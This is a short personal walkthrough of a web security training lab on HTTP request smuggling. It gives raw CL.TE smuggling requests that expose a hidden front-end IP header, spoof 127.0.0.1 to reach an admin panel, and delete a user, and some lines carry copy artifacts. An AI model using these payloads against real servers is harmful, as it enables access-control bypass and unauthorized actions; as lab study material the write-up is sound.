Exploiting HTTP request smuggling to reveal frontend request rewriting

Lab

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

There's an admin panel at <code>/admin</code>, but it's only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It's similar to the <code>X-Forwarded-For</code> header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos

I used the template in the guide because I haven't figured out consistency yet with what template to use when.

```
Request
                         Hackvertor
          Raw
                  Hex
1 POST / HTTP/1.1 \r \n
 Host: Oafd003003199d75c0ff84af00ad0068.web-security-academy.net \r \n
3 Content-Type: application/x-www-form-urlencoded \r \n
 Content-Length: 124 \r \n
 Transfer-Encoding: chunked \r \n
 0 \r \n
 \r \n
9 POST / HTTP/1.1 \r \n
 Content-Type: application/x-www-form-urlencoded \r \n
 Content-Length: 200 \r \n
 Connection: close \r \n
  \r \n
 search=test \r \n
  \r \n
```

Eventually you'll get a weird header back with your IP which you can paste into the request, changing to 127.0.0.1

```
Request
          Raw
                  Hex
                          Hackvertor
1 POST / HTTP/1.1 \r \n
2 Host: Oafd003003199d75c0ff84af00ad0068.web-security-academy.net \r \n
3 Content-Type: application/x-www-form-urlencoded \r \n
4 Content-Length: 143 \r \n
5 Transfer-Encoding: chunked \r \n
6 \r \n
7 0 \r \n
8 \r \n
9 POST /admin HTTP/1.1 \r \n
10 X-nZPRQA-Ip: 127.0.0.1 \r \n
ll Content-Type: application/x-www-form-urlencoded \r \n
12 Content-Length: 10 \r \n
13 Connection: close \r \n
14 \r \n
L5 search=test \r \n
6 \r \n
```



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Users

carlos - Delete wiener - Delete

Mind and update the content-length on the top request

```
Pretty Raw Hex Hackvertor

1 POST / HTTP/1.1
2 Host: Oafd003003199d75c0ff84af00ad0068.web-security-academy.net
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 166
5 Transfer-Encoding: chunked
6
7 0
8
9 POST /admin/delete?username=carlos HTTP/1 1
10 X-nZPRQA-Ip: 127.0.0.1
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 1
13 Connection: close
14
15 search=test
16
```

Congratulations to me



